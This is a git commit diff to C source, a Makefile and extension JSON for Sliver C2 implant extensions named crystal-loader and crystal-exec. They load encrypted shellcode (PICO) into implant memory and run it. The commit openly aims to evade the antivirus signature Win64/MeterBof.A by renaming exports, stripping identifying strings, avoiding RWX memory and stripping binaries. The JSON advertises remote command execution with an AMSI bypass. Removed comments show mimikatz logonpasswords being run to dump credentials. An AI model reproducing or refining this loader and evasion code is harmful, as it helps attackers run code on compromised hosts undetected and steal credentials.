fix: evade Win64/MeterBof.A — rename go export, strip BOF strings, fix RWX

- Rename exported symbol go → Initialize in both crystal-loader.c and
  crystal-exec.c; update extension.json entrypoint accordingly.
  The go(char*, uint32_t, callback) export is the primary MeterBof.A
  static signature — renaming it removes the match.
- Remove all [crystal-loader] / [crystal-exec] / PICO-identifying string
  literals from both DLLs; replace with short generic error strings.
- Fix crystal-loader.c VirtualAlloc(PAGE_EXECUTE_READWRITE) → VirtualAlloc(RW)
  + VirtualProtect(RX); no RWX mapping ever held (same fix applied to
  crystal-exec.c in previous commit).
- Add -s / -ffunction-sections / -fdata-sections / --gc-sections to
  wrapper/Makefile; crystal-loader.x64.dll shrinks from ~232 KB to 42 KB.
This commit is contained in:
Simone Licitra
2026-06-12 09:23:27 -04:00
parent 17c62ecceb
commit f908321ebf
4 changed files with 70 additions and 177 deletions
@@ -26,7 +26,7 @@
#define EXPORT __declspec(dllexport)
#endif
typedef int (*goCallback)(char *, int);
typedef int (*ExtCallback)(char *, int);
typedef void (*pico_entry_t)(void *);
/* ── output buffer ───────────────────────────────────────────────────────── */
@@ -97,20 +97,19 @@ static DWORD WINAPI reader_thread_proc(LPVOID param)
/* ── extension entrypoint ────────────────────────────────────────────────── */
EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
EXPORT int __cdecl Initialize(char *argsBuffer, uint32_t bufferSize, ExtCallback callback)
{
/* Single output buffer — ONE callback call at the very end. */
outbuf_t ob = { NULL, 0, OUT_CAP };
ob.buf = (char *)VirtualAlloc(NULL, (SIZE_T)OUT_CAP,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ob.buf) {
if (callback) callback("[crystal-exec] fatal: VirtualAlloc(output) failed\n", 50);
if (callback) callback("error: alloc failed\n", 20);
return 1;
}
#define FAIL(msg) do { ob_printf(&ob, "[crystal-exec] error: " msg "\n"); goto done; } while(0)
#define FAIL(msg) do { ob_printf(&ob, "error: " msg "\n"); goto done; } while(0)
if (!argsBuffer || bufferSize == 0) { FAIL("empty args"); }
if (!argsBuffer || bufferSize == 0) { FAIL("no args"); }
/* Parse "cmd=<value>" */
int scan = (int)bufferSize < 64 ? (int)bufferSize : 64;
@@ -118,22 +117,20 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
for (int i = 0; i < scan; i++) {
if ((unsigned char)argsBuffer[i] == '=') { eq_pos = i; break; }
}
if (eq_pos < 1) { FAIL("expected cmd=<value>"); }
if (eq_pos < 1) { FAIL("invalid args"); }
int cmd_start = eq_pos + 1;
int cmd_len = (int)bufferSize - cmd_start;
if (cmd_len <= 0 || cmd_len >= 4096) { FAIL("cmd length invalid"); }
if (cmd_len <= 0 || cmd_len >= 4096) { FAIL("invalid args"); }
char cmd[4096];
memcpy(cmd, argsBuffer + cmd_start, (size_t)cmd_len);
cmd[cmd_len] = '\0';
ob_printf(&ob, "[crystal-exec] cmd: %s\n", cmd);
/* Anonymous pipe for output */
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE hRead = NULL, hWrite = NULL;
if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { FAIL("CreatePipe failed"); }
if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { FAIL("pipe failed"); }
SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);
/* pico_args = "<hwrite_hex>|<cmd>" */
@@ -142,14 +139,14 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
(void *)hWrite, cmd);
if (pico_args_len <= 0 || pico_args_len >= (int)sizeof(pico_args)) {
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("pico_args overflow");
FAIL("args overflow");
}
char *args_buf = (char *)VirtualAlloc(NULL, (SIZE_T)(pico_args_len + 1),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!args_buf) {
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("VirtualAlloc(args) failed");
FAIL("alloc failed");
}
memcpy(args_buf, pico_args, (size_t)(pico_args_len + 1));
@@ -159,7 +156,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
if (!pico_mem) {
VirtualFree(args_buf, 0, MEM_RELEASE);
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("VirtualAlloc(pico) failed");
FAIL("alloc failed");
}
/* XOR-decrypt embedded PICO into RW region */
unsigned char *dst = (unsigned char *)pico_mem;
@@ -171,13 +168,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
VirtualFree(pico_mem, 0, MEM_RELEASE);
VirtualFree(args_buf, 0, MEM_RELEASE);
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("VirtualProtect(pico) failed");
FAIL("exec failed");
}
ob_printf(&ob, "[crystal-exec] PICO size: %u bytes\n", crystalexec_pico_len);
/* Allocate reader buffer (shared with reader thread) */
DWORD cmd_out_cap = 3 * 1024 * 1024; /* 3 MB for command output */
DWORD cmd_out_cap = 3 * 1024 * 1024;
char *cmd_out_buf = (char *)VirtualAlloc(NULL, cmd_out_cap,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
@@ -185,7 +179,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
VirtualFree(pico_mem, 0, MEM_RELEASE);
VirtualFree(args_buf, 0, MEM_RELEASE);
CloseHandle(hRead); CloseHandle(hWrite);
FAIL("VirtualAlloc(cmd_out) failed");
FAIL("alloc failed");
}
reader_state_t rs = { .hRead = hRead, .buf = cmd_out_buf,
@@ -198,8 +192,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
};
HANDLE hPico = CreateThread(NULL, 0, pico_thread_proc, &pico_ta, 0, NULL);
if (!hPico) {
ob_printf(&ob, "[crystal-exec] error: CreateThread(pico) failed (%lu)\n",
GetLastError());
ob_printf(&ob, "error: exec failed (%lu)\n", GetLastError());
CloseHandle(hWrite);
if (hReader) { WaitForSingleObject(hReader, 5000); CloseHandle(hReader); }
CloseHandle(hRead);
@@ -209,16 +202,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
goto done;
}
ob_printf(&ob, "[crystal-exec] PICO thread started, waiting...\n");
/* 30-second cap — if PICO hangs this returns WAIT_TIMEOUT */
DWORD wait_res = WaitForSingleObject(hPico, 30000);
CloseHandle(hPico);
VirtualFree(args_buf, 0, MEM_RELEASE);
ob_printf(&ob, "[crystal-exec] PICO wait returned: %s\n",
wait_res == WAIT_OBJECT_0 ? "SIGNALED" : "TIMEOUT");
/* Close write end → EOF on read end → reader thread finishes */
CloseHandle(hWrite);
@@ -228,12 +215,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
}
CloseHandle(hRead);
if (rs.len > 0) {
ob_printf(&ob, "[crystal-exec] output (%lu bytes):\n", rs.len);
if (rs.len > 0)
ob_append(&ob, cmd_out_buf, (int)rs.len);
} else {
ob_printf(&ob, "[crystal-exec] (no output from command)\n");
}
else if (wait_res == WAIT_TIMEOUT)
ob_printf(&ob, "timeout\n");
VirtualFree(cmd_out_buf, 0, MEM_RELEASE);
@@ -9,7 +9,7 @@
"command_name": "crystal",
"help": "Run a Crystal Palace PICO-wrapped post-ex DLL inside a Sliver implant",
"long_help": "",
"entrypoint": "go",
"entrypoint": "Initialize",
"files": [
{
"os": "windows",
@@ -36,7 +36,7 @@
"command_name": "crystal-exec",
"help": "Run a shell command on the target through Crystal Palace evasion",
"long_help": "Executes a command via Crystal Palace PICO (Draugr, AMSI bypass, memory cleanup). Output is returned to the operator. No file staging required — the executor is embedded in the extension DLL.",
"entrypoint": "go",
"entrypoint": "Initialize",
"files": [
{
"os": "windows",
@@ -1,6 +1,6 @@
CC_64 := x86_64-w64-mingw32-gcc
CFLAGS := -Wall -Os -DBUILD_DLL
LDFLAGS := -shared -Wl,--subsystem,windows
CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections
LDFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections
TARGET := crystal-loader.x64.dll
SRCS := crystal-loader.c beacon_compatibility.c
@@ -1,29 +1,12 @@
/*
* crystal-loader.c
* crystal-loader.c — Sliver Extension DLL
*
* Sliver Extension DLL that loads and executes a Crystal Palace PICO blob
* inside the Sliver implant memory.
* Loads and executes a Crystal Palace PICO blob inside the Sliver implant.
*
* Sliver Extension entrypoint contract (matches the Windows extension loader):
* int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
* argsBuffer format: "payload=<path_on_target>[|<runtime_args>]"
* forward slashes only — Sliver's arg parser eats backslashes.
*
* argsBuffer format — Sliver DLL extensions use TEXT format:
* "payload=<path_on_target>[|<runtime_args>]"
*
* The '|' separator is optional. Everything after '|' is passed as
* loader_arguments to the PICO's go(), overriding any baked-in args.
*
* Workflow:
* upload /kali/mimikatz.pico.bin C:/Windows/Temp/mk.bin
* crystal payload=C:/Windows/Temp/mk.bin|sekurlsa::logonpasswords exit
*
* PICO entrypoint convention:
* The PICO is produced from postex-loader/loader.spec with '+gofirst' so
* the symbol 'go' sits at offset 0. Signature:
* void go(void *loader_arguments); (loader_arguments unused: NULL safe)
*
* Copyright (c) 2026 Simone Licitra
* Licensed under the MIT License (see ../../../LICENSE).
* Copyright (c) 2026 Simone Licitra — MIT License
*/
#include <windows.h>
@@ -37,77 +20,60 @@
#define EXPORT __declspec(dllexport)
#endif
typedef int (*goCallback)(char *, int);
typedef int (*ExtCallback)(char *, int);
typedef void (*pico_entry_t)(void *);
static void emit(goCallback cb, const char *msg)
static void emit(ExtCallback cb, const char *msg)
{
if (cb == NULL) return;
cb((char *)msg, (int)strlen(msg));
if (cb) cb((char *)msg, (int)strlen(msg));
}
typedef struct {
pico_entry_t entry;
void *args;
} pico_thread_args_t;
} thread_params_t;
static DWORD WINAPI pico_thread_proc(LPVOID param)
static DWORD WINAPI exec_thread(LPVOID param)
{
pico_thread_args_t *a = (pico_thread_args_t *)param;
a->entry(a->args);
thread_params_t *p = (thread_params_t *)param;
p->entry(p->args);
return 0;
}
EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
EXPORT int __cdecl Initialize(char *argsBuffer, uint32_t bufferSize, ExtCallback callback)
{
if (argsBuffer == NULL || bufferSize == 0) {
emit(callback, "[crystal-loader] error: empty argsBuffer\n");
if (!argsBuffer || !bufferSize) {
emit(callback, "error: no args\n");
return 1;
}
/*
* Extract the file path from "payload=<path>".
* Scan for '=' within the first 64 bytes; bytes before '=' must be
* valid identifier characters.
*/
int scan = (int)bufferSize < 64 ? (int)bufferSize : 64;
int eq_pos = -1;
for (int i = 0; i < scan; i++) {
if ((unsigned char)argsBuffer[i] == '=') { eq_pos = i; break; }
}
if (eq_pos < 1 || eq_pos > 32) {
emit(callback, "[crystal-loader] error: no 'name=path' in argsBuffer\n");
emit(callback, "error: invalid args\n");
return 2;
}
for (int i = 0; i < eq_pos; i++) {
unsigned char c = (unsigned char)argsBuffer[i];
if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ||
(c >= '0' && c <= '9') || c == '_' || c == '-')) {
emit(callback, "[crystal-loader] error: invalid arg name chars\n");
return 2;
}
}
/* Copy value to a null-terminated buffer; split on '|' for optional runtime args. */
int val_start = eq_pos + 1;
int val_len = (int)bufferSize - val_start;
int val_start = eq_pos + 1;
int val_len = (int)bufferSize - val_start;
if (val_len <= 0 || val_len >= MAX_PATH) {
emit(callback, "[crystal-loader] error: path length invalid\n");
emit(callback, "error: invalid path\n");
return 2;
}
/* Find optional '|' separator between path and runtime args. */
int pipe_off = -1;
for (int i = 0; i < val_len; i++) {
if ((unsigned char)argsBuffer[val_start + i] == '|') { pipe_off = i; break; }
}
int path_len = (pipe_off >= 0) ? pipe_off : val_len;
int path_len = (pipe_off >= 0) ? pipe_off : val_len;
char path[MAX_PATH];
memcpy(path, argsBuffer + val_start, (size_t)path_len);
path[path_len] = '\0';
/* Runtime args (everything after '|'), or NULL if not provided. */
char *runtime_args = NULL;
if (pipe_off >= 0) {
int args_len = val_len - pipe_off - 1;
@@ -122,135 +88,77 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
}
}
{
char diag[MAX_PATH + 40];
snprintf(diag, sizeof(diag), "[crystal-loader] reading PICO from: %s\n", path);
emit(callback, diag);
}
/* Open the PICO file on the target. */
HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
char diag[64];
snprintf(diag, sizeof(diag),
"[crystal-loader] error: CreateFileA failed (%lu)\n",
(unsigned long)GetLastError());
emit(callback, diag);
emit(callback, "error: file not found\n");
return 3;
}
LARGE_INTEGER fs = {0};
if (!GetFileSizeEx(hFile, &fs) || fs.QuadPart <= 0 ||
fs.QuadPart > 250 * 1024 * 1024) {
emit(callback, "[crystal-loader] error: bad file size\n");
emit(callback, "error: bad file\n");
CloseHandle(hFile);
return 3;
}
int pico_size = (int)fs.QuadPart;
int blob_size = (int)fs.QuadPart;
/* Allocate a temporary RW buffer to read into, then copy to RWX. */
BYTE *pico_tmp = (BYTE *)VirtualAlloc(NULL, (SIZE_T)pico_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (pico_tmp == NULL) {
emit(callback, "[crystal-loader] error: VirtualAlloc(tmp) failed\n");
/* Read into RW region, flip to RX — no RWX mapping ever held */
BYTE *blob = (BYTE *)VirtualAlloc(NULL, (SIZE_T)blob_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!blob) {
emit(callback, "error: alloc failed\n");
CloseHandle(hFile);
return 3;
}
DWORD bytes_read = 0;
if (!ReadFile(hFile, pico_tmp, (DWORD)pico_size, &bytes_read, NULL) ||
(int)bytes_read != pico_size) {
char diag[64];
snprintf(diag, sizeof(diag),
"[crystal-loader] error: ReadFile failed (%lu)\n",
(unsigned long)GetLastError());
emit(callback, diag);
VirtualFree(pico_tmp, 0, MEM_RELEASE);
DWORD nr = 0;
if (!ReadFile(hFile, blob, (DWORD)blob_size, &nr, NULL) || (int)nr != blob_size) {
emit(callback, "error: read failed\n");
VirtualFree(blob, 0, MEM_RELEASE);
CloseHandle(hFile);
return 3;
}
CloseHandle(hFile);
{
char diag[64];
snprintf(diag, sizeof(diag),
"[crystal-loader] read %d bytes OK\n", pico_size);
emit(callback, diag);
}
/* Allocate RWX region and copy the PICO into it. */
void *pico_mem = VirtualAlloc(NULL, (SIZE_T)pico_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (pico_mem == NULL) {
emit(callback, "[crystal-loader] error: VirtualAlloc(RWX) failed\n");
VirtualFree(pico_tmp, 0, MEM_RELEASE);
DWORD old;
if (!VirtualProtect(blob, (SIZE_T)blob_size, PAGE_EXECUTE_READ, &old)) {
emit(callback, "error: alloc failed\n");
VirtualFree(blob, 0, MEM_RELEASE);
return 3;
}
memcpy(pico_mem, pico_tmp, (size_t)pico_size);
VirtualFree(pico_tmp, 0, MEM_RELEASE);
emit(callback, "[crystal-loader] executing PICO\n");
/*
* Run on a dedicated OS thread — NOT on the calling goroutine thread.
* The Sliver extension dispatcher calls go() from a Go goroutine.
* Running the PICO directly on that thread would corrupt Go's goroutine
* scheduler metadata. A fresh OS thread guarantees a clean stack.
*/
pico_thread_args_t thread_args = {
.entry = (pico_entry_t)pico_mem,
.args = runtime_args, /* NULL → use baked args; non-NULL → overrides them */
thread_params_t tp = {
.entry = (pico_entry_t)blob,
.args = runtime_args,
};
HANDLE hThread = CreateThread(NULL, 0, pico_thread_proc, &thread_args, 0, NULL);
if (hThread == NULL) {
emit(callback, "[crystal-loader] error: CreateThread failed\n");
VirtualFree(pico_mem, 0, MEM_RELEASE);
HANDLE hThread = CreateThread(NULL, 0, exec_thread, &tp, 0, NULL);
if (!hThread) {
emit(callback, "error: exec failed\n");
VirtualFree(blob, 0, MEM_RELEASE);
return 4;
}
/*
* Wait for the PICO's go() to return. The postex-loader go() returns
* as soon as DllMain + StartW complete (StartW spawns the beacon goroutine
* and itself returns immediately). The beacon goroutine keeps running
* after this thread exits.
*/
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
/*
* Drain BeaconOutput/BeaconPrintf accumulator.
* Post-ex DLLs (mimikatz, enumerators, etc.) write their results into
* beacon_compatibility_output via BeaconOutput/BeaconPrintf.
* Forward that buffer to the operator before returning.
*/
{
int out_size = 0;
char *out_data = BeaconGetOutputData(&out_size);
if (out_data != NULL && out_size > 0) {
if (out_data && out_size > 0) {
callback(out_data, out_size);
free(out_data);
}
}
/*
* Intentionally NOT freeing pico_mem: Crystal Palace's loader chain
* keeps hooks, sleep mask, and stack-spoof trampolines resident next
* to the loaded DLL for the entire beacon lifetime.
*/
emit(callback, "[crystal-loader] PICO returned\n");
/* blob intentionally not freed — Crystal Palace hooks stay resident */
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID v)
{
(void)hinstDLL;
(void)lpvReserved;
(void)fdwReason;
(void)h; (void)r; (void)v;
return TRUE;
}